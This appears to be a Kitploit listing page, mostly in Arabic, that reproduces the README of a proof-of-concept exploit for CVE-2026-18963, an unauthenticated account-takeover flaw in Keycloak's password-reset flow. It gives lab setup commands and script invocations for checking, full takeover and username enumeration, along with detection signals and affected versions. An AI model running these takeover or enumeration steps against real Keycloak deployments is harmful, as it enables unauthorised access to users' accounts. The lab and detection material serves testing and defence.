Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Keycloak_CVE-2026-18963_PoC — هذا المستودع هو إثبات مفهوم (PoC) لثغرة cve-2026-18963. يُرجى استخدامه على المنتجات القانونية فقط (المختبر، المحلي، ...). | Kitploit
أدوات/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةمختبرات وتدريب عملي
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

هذا المستودع هو إثبات مفهوم (PoC) لثغرة cve-2026-18963. يُرجى استخدامه على المنتجات القانونية فقط (المختبر، المحلي، ...).

عرض المستودع
1648منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-18963

تجاوز إعادة تعيين بيانات الاعتماد في Keycloak ← استيلاء على الحساب دون مصادقة CVSS 9.1 | المتأثر: Keycloak 26.0.0 – 26.7.1


التخطيط

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

المتطلبات

  • Docker + Docker Compose
  • Python 3.9+ (المكتبة القياسية فقط، لا شيء للتثبيت)
  • Linux

الخطوة 1: بدء المختبر

docker compose up -d

أو شغّل Keycloak مباشرةً، دون استيراد الـ realm:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

انتظر حوالي 30–60 ثانية حتى يكمل Keycloak الإقلاع.

الخدمات

الخدمةالرابطالإصدارالحالة
kc-vulnhttp://localhost:808026.7.1VULNERABLE ⚠️
Mailpithttp://localhost:8025latestيلتقط البريد الإلكتروني

بيانات الاعتماد الافتراضية

  • مسؤول Keycloak: admin / admin
  • مستخدم الضحية: victim / OriginalPassw0rd!
  • Realm: poc | Client: poc-app
  • تحقق من الإعدادات: إعدادات Realm ← علامة تبويب Login ← Forgot password مفعّل.
  • إذا كان realm ‏poc أو المستخدم victim مفقودًا، فاستورده يدويًا: Manage realms ← Create realm ← Upload realm-poc.json.

الخطوة 2: تشغيل PoC

فحص آمن (لا يتطلب اسم مستخدم، ولا آثار جانبية)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

[!] النتيجة المتوقعة على kc-vuln: [!] VULNERABLE — email gate execution served


إثبات غير مُدمِّر (يتوقف عند نموذج Update Password)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

الآثار الجانبية: يتم إرسال بريد إعادة تعيين إلى الضحية (اعرضه على http://localhost:8025)، ويتم تعيين emailVerified إلى true.


الاستيلاء الكامل

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

بعد ذلك، تحقّق من خلال تسجيل الدخول على http://localhost:8080/realms/poc/account باستخدام victim / PoCPassw0rd!1.


تعداد أسماء المستخدمين

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

الخطوة 3: إعادة الضحية إلى حالتها الأولية

يُستورد النطاق (realm) فقط عند الإقلاع الأول، لذا فإن أبسط طريقة لإعادة الضبط هي إعادة إنشاء البيئة من الصفر:

docker compose down -v && docker compose up -d

بدلاً من ذلك، أعد تعيين كلمة المرور يدويًا في وحدة تحكم المسؤول (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Teardown

docker compose down -v

إشارات الكشف

الإشارةمشروعةاستغلال
GET /login-actions/action-token?...✅ نعم❌ لا
POST .../reset-credentials مع body tryAnotherWay=yes❌ لا✅ نعم
SEND_RESET_PASSWORD → UPDATE_PASSWORD مع نفس code_id < 2 ثانيةنادر✅ دائمًا
emailVerified يتحول إلى true بدون حدث VERIFY_EMAIL❌✅ دائمًا

في Mailpit (http://localhost:8025) تصل رسالة إعادة تعيين كلمة المرور إلى صندوق بريد الضحية، لكن الرابط الموجود داخلها لا يُنقر عليه أبدًا عندما ينجح الاستغلال.


الإصدارات المتأثرة

خط الإصدارمتأثرالإصلاح
≤ 17 (WildFly)لا—
26.0 – 26.326.0.0 – 26.x.xلا يوجد (يجب الانتقال إلى 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (backport من المورّد)
26.526.5.0 – 26.5.7لا يوجد
26.626.6.0 – 26.6.526.6.6 (backport من المورّد)
26.726.7.0 – 26.7.126.7.2 ✅

الإصدارات الأقدم من 26.0 غير متأثرة: إذ إن ملاحظة AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED الثابتة وشاشة المحدِّد "Try another way" في تدفق إعادة التعيين قد أُدخلتا في 26.0.0. تفتقر البِنى الأقدم ببساطة إلى مسار الشيفرة القابل للاستغلال — وهذا ليس مماثلًا لكونها مُرقَّعة.


المراجع

  • Sploitus (README الأصلي): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • مشكلة Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR الإصلاح: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
تنزيل الأداة